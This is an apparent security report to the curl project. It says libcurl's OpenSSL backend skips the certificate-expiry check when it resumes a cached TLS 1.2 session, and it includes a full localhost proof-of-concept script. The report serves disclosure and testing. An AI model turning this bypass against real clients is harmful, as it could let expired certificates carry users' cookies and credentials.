curl · Report #3781305
OpenSSL TLS 1.2 session resumption accepts expired server certificates in libcurl
How it was found
Summary
curl's OpenSSL backend can accept a new TLS 1.2 HTTPS connection after the
server certificate has expired if the connection resumes a previously cached TLS
session. A full handshake made at the same time with the same certificate fails
with CURLE_PEER_FAILED_VERIFICATION, but the resumed connection returns
CURLE_OK. The resumed path installs the cached session with SSL_set_session()
and relies on OpenSSL's cached X509_V_OK verify result instead of rechecking
the peer certificate validity against the current time. Hostname verification is
still performed, but the certificate expiration check is bypassed for the
resumed TLS 1.2 connection. Disabling libcurl's SSL session cache makes the same
post-expiration connection fail as expected.
Affected Version
I reproduced this against a current curl git checkout using the OpenSSL TLS backend. The proof of concept prints the curl/OpenSSL version at runtime. The issue requires the OpenSSL or QuicTLS backend and TLS 1.2 session resumption; TLS 1.3 behavior is intentionally not the target of this report.
Relevant code paths:
lib/vtls/openssl.c: cached TLS session is installed withSSL_set_session()lib/vtls/openssl.c: resumed session is accepted whenSSL_get_verify_result()isX509_V_OKlib/vtls/openssl.c: later verification again uses the same cached OpenSSL verify resultlib/vtls/vtls_scache.c: TLS 1.2 sessions are retained in libcurl's session cache
Project Documentation Fit
This should be treated as a curl/libcurl security issue rather than API misuse or a documented limitation:
CURLOPT_SSL_VERIFYPEERis enabled by default and documents that certificate verification failures make the TLS connection fail.CURLOPT_SSL_SESSIONID_CACHEis enabled by default. The documented purpose is session reuse, not relaxing current certificate validity checks.docs/internals/TLS-SESSIONS.mdwarns against persisting TLS 1.2 tickets and documents a CA-file-content caveat for persisted sessions. The PoC below does not rely on persistence, local file replacement, invalid parameters, or application API misuse. It uses one normal curl command line, an unchanged trust anchor, and curl's default in-memory session cache.
Steps To Reproduce
Prerequisites: bash, python3 with the cryptography package, and a curl
binary built with OpenSSL or QuicTLS. Optionally set CURL_BIN=/path/to/curl
to test a local build.
Copy and paste the following as one command:
bash <<'EOF'
set -euo pipefail
CURL_BIN="${CURL_BIN:-curl}"
command -v "$CURL_BIN" >/dev/null 2>&1 || {
echo "missing curl binary: $CURL_BIN" >&2
exit 1
}
command -v python3 >/dev/null 2>&1 || {
echo "missing required command: python3" >&2
exit 1
}
python3 - <<'PY'
try:
import cryptography # noqa: F401
except Exception as e:
raise SystemExit("missing python package 'cryptography': %s" % e)
PY
WORK="$(mktemp -d /tmp/curl-cmd-resume-expiry.XXXXXX)"
SRV_PID=""
cleanup() {
if [ -n "$SRV_PID" ]; then
kill "$SRV_PID" 2>/dev/null || true
wait "$SRV_PID" 2>/dev/null || true
fi
rm -rf "$WORK"
}
trap cleanup EXIT
PORT="$(python3 - <<'PY'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PY
)"
export WORK PORT
python3 - <<'PY'
import os
from datetime import datetime, timedelta, timezone
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
work = os.environ["WORK"]
now = datetime.now(timezone.utc)
expiry = now + timedelta(seconds=3)
backend = default_backend()
key = rsa.generate_private_key(public_exponent=65537, key_size=2048,
backend=backend)
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "localhost")])
cert = (
x509.CertificateBuilder()
.subject_name(name)
.issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - timedelta(minutes=1))
.not_valid_after(expiry)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("localhost")]),
critical=False)
.sign(key, hashes.SHA256(), backend)
)
with open(os.path.join(work, "server.pem"), "wb") as f:
f.write(cert.public_bytes(serialization.Encoding.PEM))
with open(os.path.join(work, "server.key"), "wb") as f:
f.write(key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption()))
print("certificate_expires_at=%s" % expiry.isoformat())
PY
cat >"$WORK/server.py" <<'PY'
import os
import socket
import ssl
import time
port = int(os.environ["PORT"])
work = os.environ["WORK"]
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
ctx.maximum_version = ssl.TLSVersion.TLSv1_2
ctx.load_cert_chain(os.path.join(work, "server.pem"),
os.path.join(work, "server.key"))
ls = socket.socket()
ls.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
ls.bind(("127.0.0.1", port))
ls.listen(5)
print("server_ready", flush=True)
for i in range(3):
raw, _ = ls.accept()
if i == 1:
print("conn2_delay_before_handshake=5s", flush=True)
time.sleep(5)
try:
ssock = ctx.wrap_socket(raw, server_side=True)
except Exception as e:
print("conn%d_handshake_error=%s:%s" %
(i + 1, type(e).__name__, e), flush=True)
raw.close()
continue
print("conn%d_reused=%s" %
(i + 1, getattr(ssock, "session_reused", None)), flush=True)
data = b""
while b"\r\n\r\n" not in data:
chunk = ssock.recv(4096)
if not chunk:
break
data += chunk
body = ("hello %d\n" % (i + 1)).encode()
ssock.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: " +
str(len(body)).encode() +
b"\r\nConnection: close\r\n\r\n" + body)
try:
ssock.unwrap()
except Exception:
pass
ssock.close()
ls.close()
print("server_done", flush=True)
PY
python3 "$WORK/server.py" >"$WORK/server.log" 2>&1 &
SRV_PID=$!
for _ in $(seq 1 100); do
grep -q server_ready "$WORK/server.log" && break
sleep 0.05
done
grep -q server_ready "$WORK/server.log" || {
echo "TLS test server did not start" >&2
cat "$WORK/server.log" >&2
exit 1
}
"$CURL_BIN" -V | head -1
if ! "$CURL_BIN" -V | head -1 | grep -Eq 'OpenSSL|QuicTLS'; then
echo "This PoC needs a curl binary using the OpenSSL or QuicTLS backend." >&2
exit 77
fi
URL="https://localhost:$PORT/"
# One curl process, two URLs. The server closes the first connection, so curl
# opens a new TLS connection for the second URL while keeping its in-process
# TLS session cache.
"$CURL_BIN" -sS -v \
--cacert "$WORK/server.pem" \
--tlsv1.2 --tls-max 1.2 \
--connect-timeout 10 --max-time 30 \
"$URL" "$URL" \
>"$WORK/two.out" 2>"$WORK/two.err" || true
set +e
"$CURL_BIN" -sS -v \
--cacert "$WORK/server.pem" \
--tlsv1.2 --tls-max 1.2 \
--connect-timeout 10 --max-time 15 \
--no-sessionid \
"$URL" \
>"$WORK/fresh.out" 2>"$WORK/fresh.err"
FRESH=$?
set -e
wait "$SRV_PID" 2>/dev/null || true
SRV_PID=""
echo "=== two-url curl stdout ==="
cat "$WORK/two.out"
echo "=== fresh curl exit ==="
echo "$FRESH"
echo "=== relevant curl verbose lines ==="
grep -E "SSL reusing session|certificate has expired|OpenSSL verify result|SSL verify result|SSL certificate verified|SSL certificate verify ok" \
"$WORK/two.err" "$WORK/fresh.err" || true
echo "=== server log ==="
cat "$WORK/server.log"
if grep -q 'hello 1' "$WORK/two.out" &&
grep -q 'hello 2' "$WORK/two.out" &&
[ "$FRESH" = 60 ] &&
grep -q 'conn2_reused=True' "$WORK/server.log"; then
echo "VULNERABLE: resumed connection succeeds after expiry while fresh full handshake fails"
else
echo "NOT REPRODUCED" >&2
exit 1
fi
EOF
Expected output contains:
curl 8.x.x ... OpenSSL/...
=== two-url curl stdout ===
hello 1
hello 2
=== fresh curl exit ===
60
conn2_reused=True
VULNERABLE: resumed connection succeeds after expiry while fresh full handshake fails
The first URL in the two-URL curl command establishes a TLS 1.2 session while
the self-signed test certificate is still valid and explicitly trusted with
--cacert. The server delays the second TLS handshake until after that
certificate expires. curl then opens a new TLS connection for the second URL,
resumes the cached TLS 1.2 session, and accepts it. The final separate curl
command is the control: it uses --no-sessionid and performs a fresh handshake
after the certificate has expired, which fails with exit code 60.
Impact
Summary:
An endpoint that had a certificate valid at the time of the first connection can continue to be accepted for new HTTPS connections after that certificate expires, as long as the client resumes the previously cached TLS 1.2 session. This weakens curl's default certificate expiration enforcement: the same certificate is rejected by a fresh full handshake but accepted by the resumed connection path.
The practical attack window is bounded by libcurl's session cache lifetime and by whether the server still accepts the TLS 1.2 session ticket or session ID. This can affect applications that reuse an easy handle, use a multi handle, or share the TLS session cache. It can also affect imported/persisted TLS sessions, although persistence of TLS 1.2 tickets is a weaker secondary scenario because curl documentation already discourages persisting TLS 1.2 tickets.
Sensitive HTTP requests, headers, cookies, and credentials may then be sent over a TLS connection that would not pass current certificate validation if the session were not resumed.